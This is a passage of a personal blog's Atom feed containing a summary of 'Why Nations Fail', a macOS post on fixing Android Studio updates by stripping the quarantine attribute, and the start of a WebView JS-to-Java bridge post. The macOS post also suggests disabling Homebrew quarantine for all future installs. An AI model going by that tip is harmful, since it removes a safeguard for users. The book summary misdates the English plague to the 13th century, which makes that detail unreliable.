]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/hiking" term="hiking" label="hiking"/><category scheme="https://ashishb.net/tag/canyon" term="canyon" label="canyon"/><category scheme="https://ashishb.net/tag/arizona" term="arizona" label="arizona"/><category scheme="https://ashishb.net/tag/usa" term="usa" label="usa"/></entry><entry><title type="html">Book summary: Why Nations Fail</title><link href="https://ashishb.net/book-summary/why-nations-fail/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/one-up-on-wall-street/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: One up on Wall Street by Peter Lynch"/><link href="https://ashishb.net/book-summary/thinking-in-bets/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Thinking In Bets by Annie Duke"/><link href="https://ashishb.net/book-summary/woke-inc/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Woke, Inc. by Vivek Ramaswamy"/><link href="https://ashishb.net/book-summary/sum-forty-tales-from-the-afterlives/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary of Sum: Forty Tales From The Afterlives"/><link href="https://ashishb.net/book-summary/red-notice/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Red Notice by Bill Browder"/><id>https://ashishb.net/book-summary/why-nations-fail/</id><author><name>Ashish Bhatia</name></author><published>2019-01-12T19:37:43+00:00</published><updated>2019-01-12T19:37:43+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the key to national prosperity. &ldquo;Why Nations Fail&rdquo; delves into historical insights on inclusive institutions, creative destruction, and more shaping our world.</blockquote><p>The   
    
    
<a href="https://amzn.to/2GUpZrg?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">book</a> is a good read on why some nations are rich today while others are poor. While the book 
<a href="/book-summary/breakout-nations/">Breakout Nations</a> provides useful information on the current situation in many countries, Why Nations Fail offers valuable historical lessons on critical aspects of economy and politics that have shaped countries around the world. The theme of this book includes:</p>
<ol>
<li>Inclusive vs. Extractive Economic and Political Institutions</li>
<li>The Myth of Geography/Culture</li>
<li>Path-dependence of the Past</li>
<li>Centralization of Power</li>
<li>Creative Destruction</li>
<li>Critical Junctures</li>
<li>Defending Prosperity</li>
</ol>
<h3 id="inclusive-vs-extractive-economic-and-political-institutions">Inclusive vs. Extractive Economic and Political Institutions</h3>
<p>Rich nations have inclusive institutions that respect the property rights of individuals, have independent judiciaries, and generally enforce the rule of law. On the other hand, poor nations have extractive economic institutions, where a small number of elites tries to extract wealth from the rest of the population. The elite class also controls political institutions, which ensures their control over economic institutions. As there is much to be gained by having control over the extractive institutions, in poor nations, coups are the norm. Since most of the benefits go to the elite, such extractive institutions discourage the general public from investing in the productivity of their country. However, initially, authoritative political institutions can clear up labor inefficiencies and can produce rapid growth, which was the case, for example, in the Soviet Union between 1950 and 1980. Nonetheless, authoritative regimes soon run out of steam, since, the citizens have no real incentive to work for the betterment of their country.</p>
<blockquote>
<p>Inclusive economic institutions under extractive political institutions are unstable. They produce new winners and losers. And those winners demand more political rights.</p></blockquote>
<p>In most parts of the once-colonized world, extractive institutions still exist despite these nation&rsquo;s&rsquo; independence.</p>
<p>Spain took over much of the Caribbean and South America, replacing the Aztecs, the Incas, and others, to set up even stronger extractive institutions. Britain&rsquo;s first colony in the Americas was in Virginia because the extractive parts of the Americas were already under the control of different European powers including Spain. The English colonies had no mining-worthy areas, and the native population density was too low to enslave. Therefore, over time the men and women sent to these colonies had to work on their own, unlike their Spanish counterparts who took indigenous peoples as slaves.</p>
<h3 id="the-myth-of-geography-hypothesis">The myth of Geography Hypothesis</h3>
<p>The geography hypothesis states that &ldquo;Tropical geographies are poor because people in these climates tend to be lazy and suffer from diseases like Malaria.&rdquo; This hypothesis is incorrect, of course, as, historically, India was more prosperous than most of temperate Europe. Additionally, the tropical areas in the Americas were richer and had more advanced civilization than the more temperate parts of these two continents. Further, this hypothesis fails to explain the success of modern-day Singapore, or why South Korea is ten-times more prosperous than the communist North.</p>
<h3 id="centralization-of-power">Centralization of Power</h3>
<p>Too much decentralization of power is bad for a country&rsquo;s economy. One needs a central authority to levy taxes and build common projects like roads, as well as to maintain law and order. Many African nations, where power is split into the hands of individual tribes lack the incentive to invest in country-level infrastructure.</p>
<h3 id="creative-destruction">Creative Destruction</h3>
<p>Economic processes produce not just new winners but also new losers. Inclusive institutions can accept this. In extractive institutions, if an economic change might harm the current elites, the elite class tries to get it outlawed. Railways were prohibited in many parts of Eastern Europe and Russia for this very reason.</p>
<p>Additionally, in the 17th century, the Caribbean islands, heavily engaged in sugar production, were one of the wealthiest places on earth. Their political institutions were extractive, but growth happened since most of the (slave) workforce was directed to work in the sugar plantations. Once there was a need to shift to new economic activities, the island&rsquo;s growth began to stagnate since such a change would have threatened the elite class. The same happened in the USSR during the Stalin&rsquo;s regime where people were moved from an economy based on agriculture into one economy based on industry, to increase the country&rsquo;s economic output, but this economic shift eventually fizzled out. History is full of such examples, for instance, when the printing press was initially developed, it was forbidden in many parts of Europe, since the elites did not want to let go of the control of knowledge. Thus, we see that sustained economic growth is not possible without creative destruction.</p>
<h3 id="critical-junctures">Critical Junctures</h3>
<p>Sometimes nations encounter critical junctures, and the paths they choose have long-term consequences. For example, the bubonic plague wiped out a big chunk of the population in 13th century England, creating a situation where labor was scarce; from this, a free-market for buying and selling labor emerged. The same plague had the opposite effect in Eastern Europe, where the existing landowners bought even more of land and began to maintain even stronger control over the serfs. Meanwhile, back in England, when the king tried to fix wages, a riot broke out, and wage fixing was never enforced after 1381.</p>
<p>All societies are different, and even small differences can produce drastically different outcome when a critical juncture is encountered. China and Japan both faced critical junctures when, respectively, Great Britain and the United States tried to colonize them. China responded negatively and entered a death spiral while Japan modernized itself and became a major international power. Similarly, going back several centuries, once the new riches in the 13th century decided to make the institutions closed to outsiders, Venice went from a prosperous trading city with a strong economy to a modern-day museum.</p>
<h3 id="defending-prosperity">Defending Prosperity</h3>
<p>A nation cannot enforce property rights unless it can protect itself. South-east Asia&rsquo;s wealthy, prosperous trading communities failed to survive after the Dutch East India Company enslaved local populations. From forced treaties to genocides, the Dutch East India Company did everything it could to take full control over the spice trade. In response, many islands stopped growing spices to avoid the Dutch armed forces.</p>
<p>In Africa, the effort was on the slave trade, where prisoners of war were captured by the rivaling tribes and then sold to European traders. When the slave trade was abolished, many of these African turned slaves to forced labors. In South Africa, between 1840 and1890, native Africans adopted modern laws following the rules put forward by the white Afrikaners and became more prosperous. Then, to get cheap labor for mining and to eliminate competition, European Afrikaners introduced apartheid where the government disproportionately allotted the land to whites and prohibited the blacks from certain jobs. The British East India Company did much the same in India, where they destroyed existing institutions and replaced them with their own in order to extract greater wealth for Britain.</p>
<h3 id="what-does-not-work">What Does Not Work</h3>
<ol>
<li>Authoritarian growth - China seems to be the model example of growth under authoritarianism, roughly similar to the growth experienced in the USSR in the 1950s and 1960s. Once enough of the inefficiencies have been eliminated, the growth will stop.</li>
<li>Engineering prosperity - Even when the IMF and the World Bank set specific targets, the gaming of those targets happens to benefit the elite class ruling the country. Therefore, the poor do not benefit sufficiently.</li>
<li>Foreign aid - Foreign aid mostly gets consumed by NGOs and corrupt leaders.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/book-summaries" term="book-summaries" label="book-summaries"/></entry><entry><title type="html">Mac OS: App Translocation and Android Studio updates failure</title><link href="https://ashishb.net/programming/mac-os-app-translocation-and-android-studio-updates-failure/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/cross-language-bridge-error-handling-js-to-java-example/?utm_source=atom_feed" rel="related" type="text/html" title="Cross-language bridge error handling: JS-to-Java Example"/><link href="https://ashishb.net/programming/testing-resumable-uploads/?utm_source=atom_feed" rel="related" type="text/html" title="Testing resumable uploads"/><link href="https://ashishb.net/programming/architecting-android-apps-for-emerging-markets/?utm_source=atom_feed" rel="related" type="text/html" title="Architecting Android apps for emerging markets"/><link href="https://ashishb.net/programming/adb-enhanced/?utm_source=atom_feed" rel="related" type="text/html" title="adb-enhanced: A swiss army knife for Android development"/><link href="https://ashishb.net/programming/android-sqlite/?utm_source=atom_feed" rel="related" type="text/html" title="Android: The right way to pull SQLite database"/><id>https://ashishb.net/programming/mac-os-app-translocation-and-android-studio-updates-failure/</id><author><name>Ashish Bhatia</name></author><published>2018-12-01T17:00:47+00:00</published><updated>2018-12-01T17:00:47+00:00</updated><content type="html"><![CDATA[<blockquote>Resolve Android Studio update error on macOS: Learn how to fix permission issues with simple terminal commands and prevent future app quarantine problems.</blockquote><p>I installed Android Studio via homebrew &ldquo;brew cask install android-studio&rdquo; as a part of my   
    
    
<a href="https://github.com/ashishb/dotfiles/blob/b32e19738503e30c80846d413827171445010ef6/setup/setup_new_mac_machine.sh#L98?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">automated Mac OS setup</a>. Recently, Android Studio prompted me that an update is available. When I accepted to update, it failed with an error &ldquo;Studio does not have write access to /private/var/folders/wt/rjv6_wcn4f97_2nth7fqftqh0000gn/T/AppTranslocation/19A80F28-865B-41FC-AA87-B8E43C826FCB/d/Android Studio.app/Contents. Please run it by a privileged user to update.&rdquo; This error was confusing; I was running Android Studio as myself, a nonprivileged user and the same user owned this directory. Googling it a bit for AppTranslocation took me   
    
    
<a href="https://github.com/potionfactory/LetsMove/issues/56#issue-162975492?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">here</a>.</p>
<p>From this point onward, the issue and the fix were relatively straightforward. Apple marked Android Studio as quarantine and hence was in a read-only directory. Quarantine status was confirmed by</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ xattr -l /Applications/Android<span style="color:#cb4b16">\ </span>Studio.app/
</span></span><span style="display:flex;"><span>com.apple.quarantine: Chrome;9B843802-B7C1-4F48-BC68-09D8F81E6784</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>The fix was relatively simple as well</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ xattr -d -r -s com.apple.quarantine /Applications/Android<span style="color:#cb4b16">\ </span>Studio.app/
</span></span><span style="display:flex;"><span>...</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Update worked as expected after this.</p>
<p>Setting <code>HOMEBREW_CASK_OPTS=--no-quarantine</code> seems to enable this behavior for all the future installs.</p>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/android" term="android" label="android"/><category scheme="https://ashishb.net/tag/macos" term="macos" label="macos"/></entry><entry><title type="html">Cross-language bridge error handling: JS-to-Java Example</title><link href="https://ashishb.net/programming/cross-language-bridge-error-handling-js-to-java-example/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/testing-resumable-uploads/?utm_source=atom_feed" rel="related" type="text/html" title="Testing resumable uploads"/><link href="https://ashishb.net/programming/architecting-android-apps-for-emerging-markets/?utm_source=atom_feed" rel="related" type="text/html" title="Architecting Android apps for emerging markets"/><link href="https://ashishb.net/programming/maintaining-android-app/?utm_source=atom_feed" rel="related" type="text/html" title="Maintaining an Android app is a lot of work"/><link href="https://ashishb.net/programming/troublshooting-android-emulator-emulator-process-finished-with-exit-code-1/?utm_source=atom_feed" rel="related" type="text/html" title="Troubleshooting Android Emulator: Process finished with exit code 1"/><link href="https://ashishb.net/programming/circle-ci-vs-travis-ci/?utm_source=atom_feed" rel="related" type="text/html" title="Circle CI vs Travis CI"/><id>https://ashishb.net/programming/cross-language-bridge-error-handling-js-to-java-example/</id><author><name>Ashish Bhatia</name></author><published>2018-11-02T07:03:54+00:00</published><updated>2018-11-02T07:03:54+00:00</updated><content type="html"><![CDATA[<blockquote>Explore handling JavaScript exceptions in Android apps using Webview. Learn error encapsulation with try-catch for robust hybrid apps. Full code on GitHub.</blockquote><p>All languages have certain semantics for dealing with error cases. C deals with them by setting error codes. Java deals with them by throwing exceptions. JavaScript deals with them by throwing exceptions as well but unlike Java, it does have any concept of checked Exceptions. The JS interpreter just stops. And this has some interesting implications in hybrid scenarios like a Webview based app.</p>
<p>Consider a simple Android app where most of the code is in JavaScript but is making a request to Java layer.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Html
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">5
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>&lt;<span style="color:#268bd2">html</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#268bd2">head</span>/&gt;
</span></span><span style="display:flex;"><span>    <span style="color:#586e75">&lt;!-- Invoke getContacts() on the Javascript bridge object referenced via “JsInterface” tag on click --&gt;</span>
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#268bd2">Button</span> onClick<span style="color:#719e07">=</span><span style="color:#2aa198">&#39;ContactJsInterface.getContacts()&#39;</span>&gt;Click me&lt;/<span style="color:#268bd2">Button</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#268bd2">html</span>&gt;</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Java
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#586e75">// MainActivity in Kotlin</span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">class</span> <span style="color:#268bd2">MainActivity</span> : AppCompatActivity() {
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  override fun <span style="color:#268bd2">onCreate</span>(savedInstanceState: Bundle<span style="color:#719e07">?</span>) {
</span></span><span style="display:flex;"><span>        ....
</span></span><span style="display:flex;"><span>        <span style="color:#586e75">// Load the above string into webview</span>
</span></span><span style="display:flex;"><span>        webView.loadDataWithBaseURL(<span style="color:#2aa198">&#34;about:blank&#34;</span>, htmlPage, <span style="color:#2aa198">&#34;text/html&#34;</span>, <span style="color:#cb4b16">null</span>, <span style="color:#cb4b16">null</span>)
</span></span><span style="display:flex;"><span>        webView.settings.javaScriptEnabled <span style="color:#719e07">=</span> <span style="color:#cb4b16">true</span>
</span></span><span style="display:flex;"><span>        <span style="color:#586e75">// Add a WebkitJsInterface object and tag it with &#34;ContactJsInterface&#34;, so that,</span>
</span></span><span style="display:flex;"><span>        <span style="color:#586e75">// JsInterface.getContacts maps to WebKitJsInterface.getContacts</span>
</span></span><span style="display:flex;"><span>        webView.addJavascriptInterface(<span style="color:#719e07">new</span> WebkitJsInterface(<span style="color:#719e07">this</span>), <span style="color:#2aa198">&#34;ContactJsInterface&#34;</span>)
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
